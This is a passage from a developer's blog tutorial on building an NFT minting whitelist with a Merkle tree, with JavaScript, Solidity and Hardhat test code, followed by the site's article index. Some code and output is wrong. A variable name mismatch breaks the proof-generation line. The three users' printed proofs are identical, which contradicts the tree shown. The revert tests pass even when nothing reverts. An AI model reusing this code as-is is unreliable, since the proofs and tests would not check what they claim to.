// create leaves from users' address and quantity
const leaves = inputs.map((x) =>
  ethers.utils.solidityKeccak256(
    ["address", "uint256"],
    [x.address, x.quantity]
  )
);
// create a Merkle tree
const tree = new MerkleTree(leaves, keccak256, { sort: true });
console.log(tree.toString());

in the console, we can see our Merkle Tree. The first hash is the Merkle root. Belows are non-leaf nodes and leaf nodes.

cd1ce05417f11ebd5c23784283d21a968ac750e5ac2c2baa6b82835f4ea7caf7
   ├─ f92db5e3e1d6bed45d8e50fad47eddeb89c5453802b5cb6d944df2f3679da55c
   │  ├─ 3f68e79174daf15b50e15833babc8eb7743e730bb9606f922c48e95314c3905c
   │  └─ b783e75c6c50486379cdb997f72be5bb2b6faae5b2251999cae874bc1b040af7
   └─ d0583fe73ce94e513e73539afcb4db4c1ed1834a418c3f0ef2d5cff7c8bb1dee
      └─ d0583fe73ce94e513e73539afcb4db4c1ed1834a418c3f0ef2d5cff7c8bb1dee

Here is the diagram of the Merkle tree we've just generated

The branching factor is 2, but we have 3 blocks of data. That is why in the Carol branch, each node has only 1 child.

Step 2: Get Merkel proofs

Now we need to get the proofs from our leaves and store them somewhere off-chain. A JSON file in your client or a database in your backend would do.

const proofs = leaves.map(leave=> tree.getHexProof(leaf))

The proofs should look like this

[
 [
 '0xb783e75c6c50486379cdb997f72be5bb2b6faae5b2251999cae874bc1b040af7',
 '0xd0583fe73ce94e513e73539afcb4db4c1ed1834a418c3f0ef2d5cff7c8bb1dee'
 ],
 [
 '0xb783e75c6c50486379cdb997f72be5bb2b6faae5b2251999cae874bc1b040af7',
 '0xd0583fe73ce94e513e73539afcb4db4c1ed1834a418c3f0ef2d5cff7c8bb1dee'
 ],
 [
 '0xb783e75c6c50486379cdb997f72be5bb2b6faae5b2251999cae874bc1b040af7',
 '0xd0583fe73ce94e513e73539afcb4db4c1ed1834a418c3f0ef2d5cff7c8bb1dee'
 ]
]

The first item in the proofs array is Alice's proof which contains two hashes. The first one is the hash of Bob's data, and the second one is the hash of the node right below the root node on the other branch.

Step 3: Get Merkle root

const root = tree.getHexRoot();

0xcd1ce05417f11ebd5c23784283d21a968ac750e5ac2c2baa6b82835f4ea7caf7

As simple as that! we will store the root on-chain when we deploy the smart contract

Step 4: Verify users' address and quantity

With the Merkle proofs and root prepared, we now can verify whether a user is in our whitelist. First, we recreate the node hash from the user's address and quantity using Solidity's keccak256. Then, we can call MerkleProof.verify to check if the hash exists in our Merkle tree. If it does, the user is allowed to proceed.

 bytes32 node = keccak256(abi.encodePacked(msg.sender, quantity));
require(MerkleProof.verify(merkleProof, merkleRoot, node), 'invalid proof');

The codes below are unit tests for the smart contract. From here it should be self-explaining.

import { loadFixture } from '@nomicfoundation/hardhat-network-helpers';
import { expect } from 'chai';
import { ethers } from 'hardhat';
import { makeMerkleTree } from '../utils/merkletree';
import { makeUsers } from '../utils/data';

describe('ExcitedApeYachtClub', function () {
  async function deployOneYearLockFixture() {
    const merkleTreeData = await makeMerkleTree();
    const { root } = merkleTreeData;

    const users = await makeUsers();

    const ExcitedApeYachtClub = await ethers.getContractFactory(
      'ExcitedApeYachtClub'
    );

    const excitedApeYachtClub = await ExcitedApeYachtClub.deploy(root);

    return { excitedApeYachtClub, merkleTreeData, users };
  }

  beforeEach(async function () {
    const { excitedApeYachtClub, users, merkleTreeData } = await loadFixture(
      deployOneYearLockFixture
    );
    this.excitedApeYachtClub = excitedApeYachtClub;
    this.users = users;
    this.merkleTreeData = merkleTreeData;
  });

  describe('Deployment', function () {
    it('Should return correct name and symbol', async function () {
      expect(await this.excitedApeYachtClub.name()).to.equal(
        'Excited Ape Yacht Club'
      );
      expect(await this.excitedApeYachtClub.symbol()).to.equal('EAYC');
    });
  });

  describe('mint', function () {
    beforeEach(async function () {
      await this.excitedApeYachtClub
        .connect(this.users.alice)
        .mint(1, this.merkleTreeData.proofs[0]);

      await this.excitedApeYachtClub
        .connect(this.users.bob)
        .mint(2, this.merkleTreeData.proofs[1]);
    });

    it('Should allow whitelisted users to mint', async function () {
      const aliceBalance = await this.excitedApeYachtClub.balanceOf(
        await this.users.alice.getAddress()
      );

      expect(aliceBalance).to.equal(1);

      const bobBalance = await this.excitedApeYachtClub.balanceOf(
        await this.users.bob.getAddress()
      );

      expect(bobBalance).to.equal(2);
    });

    it('Should revert when users try to mint over allowed quantity', async function () {
      try {
        await this.excitedApeYachtClub
          .connect(this.users.alice)
          .mint(2, this.merkleTreeData.proofs[1]);
      } catch (error: any) {
        expect(error.message).to.contains('invalid proof');
      }
    });

    it('Should revert when non-whitelisted users try to mint', async function () {
      try {
        await this.excitedApeYachtClub
          .connect(this.users.david)
          .mint(1, this.merkleTreeData.proofs[1]);
      } catch (error: any) {
        expect(error.message).to.contains('invalid proof');
      }
    });
  });
});

Conclusion

Merkle tree is powerful. It allows data to be verified without using much on-chain storage. Imagine how much money you can save if you have thousands of users in your whitelist. That is huge!

P/S: I've started to see the benefit of blogging as a developer. I am trying to write as much as I can after my work. This is my first programming blog ever. I hope you enjoy it.
Thank you for your reading. I appreciate it.

DEV Community: Peter Blockman

Quick guide to Rust's From/Into and TryFrom/TryInto Traits

From and Into Traits

TryFrom and TryInto Traits

Conclusion

Cairo: Uint256

Introduction

What is Cairo's Uint256?

Examples

Conclusion

Cairo exercise: Polynomial Equation

Problem

Solution

Explain the solution

Test

Conclusion

Cairo: compute Pedersen hash of an array of felts challenge

Introduction

The challenge

Solution

Explain the solution

Conclusion

Cairo: pattern of bits challenge

Introduction

The challenge

Understanding the problem

Solution

Explain the solution

Convert the decimal n to binary

Check if the pattern is valid

Handle the edge case and base case

Wrapping Up

Cairo lang: Sum even numbers in an array

Setting up

Algorithm

Test

Conclusion

Smart contract security: an illustrated guide to Re-entrancy Attack

Table of content

Introduction

Types of reentrancy attack

Single function reentrancy attack

Bank smart contract

Attack smart contract

Cross-function reentrancy attack

Bank smart contract

Attack smart contract

How to prevent reentrancy attacks

Reentrancy guard

Checks, Effects, Interactions

PullPayment

Bank smart contract

Escrow smart contract

Conclusion

Understand Merkle tree by making an NFT minting whitelist

Table of contents

Introduction

What is Merkle tree

Validate data using Merkle tree

Create a whitelist using Merkle tree

Setting up

The smart contract

Create the whitelist

Step 1: Create a Merkle Tree

Step 2: Get Merkel proofs

Step 3: Get Merkle root

Step 4: Verify users' address and quantity

Conclusion